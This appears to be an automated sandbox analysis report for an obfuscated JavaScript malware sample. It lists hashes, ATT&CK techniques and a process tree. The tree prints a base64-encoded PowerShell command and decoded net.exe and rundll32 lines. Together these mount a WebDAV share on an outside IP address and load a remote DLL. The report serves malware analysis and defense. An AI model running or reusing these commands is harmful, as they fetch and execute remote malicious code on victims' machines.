449337b7f2af0968c041c947525ad75088c52dfbc5b145d3b16833f3d3383009

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
18-10-2024 12:03

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General

Target

286311577774055690.js
Size

94KB
MD5

a698f6871696ad45a46b0644b7053b33
SHA1

636caa104c9aa151633d2fb5d09d61d3fdc82c7c
SHA256

449337b7f2af0968c041c947525ad75088c52dfbc5b145d3b16833f3d3383009
SHA512

791c82a32ff77a2f192d050b551f9838a8edad2c44a90d65d1ede8ea70234a94b9794cb53eba07a83164ced008ad4aeb24f77a5de7f0bf32670595d32129adf9
SSDEEP

768:PjKT3zLScMJ8CByBNM0ZP7mAqn+tQMWr7PyM3O3K3JasoLOxc0Q5kvk9LkwFK+aX:bKfYRqbPtC+twN3wbxU

Score

6^/10

defense_evasion execution

Malware Config

Signatures

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2416	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2416	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2416	2776	wscript.exe	31
PID 2776 wrote to memory of 2416	2776	wscript.exe	31
PID 2776 wrote to memory of 2416	2776	wscript.exe	31
PID 2416 wrote to memory of 2900	2416	powershell.exe	33
PID 2416 wrote to memory of 2900	2416	powershell.exe	33
PID 2416 wrote to memory of 2900	2416	powershell.exe	33
PID 2416 wrote to memory of 2736	2416	powershell.exe	34
PID 2416 wrote to memory of 2736	2416	powershell.exe	34
PID 2416 wrote to memory of 2736	2416	powershell.exe	34

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\286311577774055690.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANAA4AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAIAByAHUAbgBkAGwAbAAzADIAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADQAOABAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAMgA1ADQAMAAzADEANAA3ADkANgA2ADYAOQAuAGQAbABsACwARQBuAHQAcgB5AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2416
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\94.159.113.48@8888\davwwwroot\
    3⤵
    PID:2900
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\94.159.113.48@8888\davwwwroot\2540314796669.dll Entry
    3⤵
    PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2416-4-0x000007FEF64EE000-0x000007FEF64EF000-memory.dmp

Filesize
4KB

Download
memory/2416-5-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2416-7-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-6-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2416-8-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-9-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-10-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-11-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download
memory/2416-12-0x000007FEF6230000-0x000007FEF6BCD000-memory.dmp

Filesize
9.6MB

Download